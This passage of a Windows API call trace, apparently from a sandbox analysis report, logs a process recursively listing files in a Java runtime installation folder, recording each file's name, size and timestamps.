lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0094.098] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0094.423] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.423] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0094.423] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0094.423] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0094.423] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0094.424] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.424] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0094.424] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0094.424] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0094.426] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0094.426] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0094.426] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0094.426] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0094.426] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0094.426] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0094.427] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.427] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0094.427] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0094.427] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0094.428] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0094.428] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0094.428] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0094.429] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0094.430] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0094.430] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0094.430] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0094.430] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.430] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0094.430] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lib", cAlternateFileName="")) returned 1 [0094.430] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0094.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0094.432] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.433] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0094.433] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0094.433] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0094.435] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.435] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, 